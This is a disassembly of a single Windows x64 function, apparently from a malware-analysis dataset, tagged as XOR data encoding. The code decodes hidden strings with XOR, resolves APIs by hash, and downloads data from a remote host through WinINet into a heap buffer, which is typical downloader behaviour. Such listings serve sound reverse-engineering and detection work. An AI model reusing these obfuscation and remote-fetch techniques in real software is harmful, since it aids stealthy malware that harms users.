Function at 0x180001774
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
movups xmm0, xmmword [str.ZWAZPZ]
xor r13d, r13d
movzx eax, word [0x180002118]
movsd xmm1, qword [0x180002110]
mov rsi, r8
movups xmmword [rbp - 0x80], xmm0
mov r12d, r9d
mov r14, rcx
movsd qword [rbp - 0x70], xmm1
lea r8, [rbp - 0x80]
mov word [rbp - 0x68], ax
mov edi, r13d
mov ebx, 0xa0a0a0a1
mov eax, ebx
mul edi
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, di
inc edi
sub ax, cx
add ax, 0x31
xor word [r8], ax
lea r8, [r8 + 2]
cmp edi, 0xd
jl 0x1800017d0
lea rcx, [rbp - 0x80]
call fcn.180001154
mov r8, rax
lea rdi, [rbp - 0x80]
movzx eax, r13w
mov ecx, 0xd
rep stosw word [rdi], ax
mov rcx, r8
mov edx, 0x470fca41
call section..text
cmp word [0x180002136], r13w
mov r15, rax
movups xmm0, xmmword [str.F____SC]
movsd xmm1, qword [str._VW_]
movups xmmword [rbp - 0x60], xmm0
movsd qword [rbp - 0x50], xmm1
je 0x180001871
mov edi, r13d
lea r8, [rbp - 0x60]
mov eax, ebx
mul edi
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, di
inc edi
sub ax, cx
add ax, 0x31
xor word [r8], ax
lea r8, [r8 + 2]
cmp edi, 0xc
jl 0x18000184b
lea rcx, [rbp - 0x60]
call fcn.180001154
mov rbx, rax
lea rdi, [rbp - 0x60]
movzx eax, r13w
mov ecx, 0xc
rep stosw word [rdi], ax
mov rcx, rbx
mov edx, 0x74b30200
call section..text
mov edx, 0xd1ef6a58
mov qword [rbp + 0x90], rax
mov rcx, rbx
call section..text
mov edx, 0x7e98c2e0
mov qword [rsp + 0x50], rax
mov rcx, rbx
call section..text
mov edx, 0x1154d3b3
mov qword [rsp + 0x48], rax
mov rcx, rbx
call section..text
mov edx, 0x1eed1eb8
mov qword [rsp + 0x40], rax
mov rcx, rbx
call section..text
mov edx, 0x369efffe
mov qword [rsp + 0x60], rax
mov rcx, rbx
call section..text
mov edx, 0x88eb97a9
mov qword [rsp + 0x70], rax
mov rcx, rbx
call section..text
mov edx, 0x3f4c9b8f
mov qword [rsp + 0x78], rax
mov rcx, rbx
call section..text
mov qword [rsp + 0x58], rax
mov qword [rsi], r13
call r15
xor edx, edx
mov qword [rsp + 0x68], rax
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movaps xmm0, xmmword [str._I_YZV]
lea r9, [rbp - 0x40]
movaps xmm1, xmmword [0x180002150]
mov r13, rax
mov eax, dword [0x1800021b8]
xor edi, edi
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [0x180002160]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm1, xmmword [0x180002170]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x180002180]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm1, xmmword [0x180002190]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1800021bc]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x1800021a0]
movaps xmmword [rbp + 0x10], xmm1
movsd xmm1, qword [str.XZ_]
mov word [rbp + 0x3c], ax
mov al, byte [0x1800021be]
movaps xmmword [rbp + 0x20], xmm0
movsd qword [rbp + 0x30], xmm1
mov byte [rbp + 0x3e], al
mov eax, 0xa0a0a0a1
mul edi
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
mov al, dil
inc edi
sub al, cl
add al, 0x31
xor byte [r9], al
inc r9
cmp edi, 0x7f
jl 0x1800019bc
xor edi, edi
lea rcx, [rbp - 0x40]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
call qword [rbp + 0x90]
xor edx, edx
lea r8d, [rdi + 0x7f]
lea rcx, [rbp - 0x40]
mov r15, rax
call fcn.180001430
test r15, r15
je 0x180001c0b
mov qword [rsp + 0x38], 1
mov ecx, r12d
neg ecx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov rdx, r14
sbb r8w, r8w
mov qword [rsp + 0x20], rdi
and r8w, 0x16b
xor r9d, r9d
add r8w, 0x50
mov rcx, r15
call qword [rsp + 0x50]
mov r14, rax
test rax, rax
je 0x180001c02
mov ecx, dword [str.vwg4]
neg r12d
mov dword [rbp + 0x90], ecx
sbb edi, edi
xor r12d, r12d
and edi, 0x800000
add edi, 0x80480000
cmp byte [0x1800021c3], r12b
je 0x180001ab4
mov r8d, r12d
lea r9, [rbp + 0x90]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
mov al, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9], al
inc r9
cmp r8d, 4
jl 0x180001a8d
mov r8, qword [rbp + 0x88]
lea rdx, [rbp + 0x90]
mov qword [rsp + 0x38], 1
xor r9d, r9d
mov dword [rsp + 0x30], edi
mov rcx, r14
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call qword [rsp + 0x48]
mov r9d, 4
mov dword [rbp + 0x90], r12d
lea r8, [rsp + 0x50]
mov dword [rsp + 0x50], 0x1100
mov rcx, rax
mov rdi, rax
lea edx, [r9 + 0x1b]
call qword [rsp + 0x40]
test eax, eax
je 0x180001bf8
test rdi, rdi
je 0x180001bf8
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [rsp + 0x60]
test eax, eax
je 0x180001bec
xor edx, edx
mov r8d, 0x1fa0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180001bec
mov r12, qword [rsp + 0x68]
xor edx, edx
mov r8d, 0x1fa0
mov rcx, rbx
call fcn.180001430
xor r9d, r9d
lea rdx, [rsp + 0x48]
xor r8d, r8d
mov rcx, rdi
call qword [rsp + 0x70]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov eax, 0x1fa0
mov rdx, rbx
cmp r8d, eax
mov rcx, rdi
cmova r8d, eax
mov dword [rsp + 0x48], r8d
call qword [rsp + 0x78]
test eax, eax
je 0x180001bec
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x180001bec
mov r9d, eax
mov r8, r13
add r9, qword [rsi]
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x180001be8
mov rcx, qword [rsi]
mov rdx, rbx
mov r8d, dword [rsp + 0x40]
add rcx, rax
mov r13, rax
call fcn.1800013dc
mov eax, dword [rsp + 0x40]
add qword [rsi], rax
jmp 0x180001b5a
and qword [rsi], 0
mov rcx, rdi
mov rdi, qword [rsp + 0x58]
call rdi
jmp 0x180001bfd
mov rdi, qword [rsp + 0x58]
mov rcx, r14
call rdi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x180]
mov rax, r13
add rsp, 0x140
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret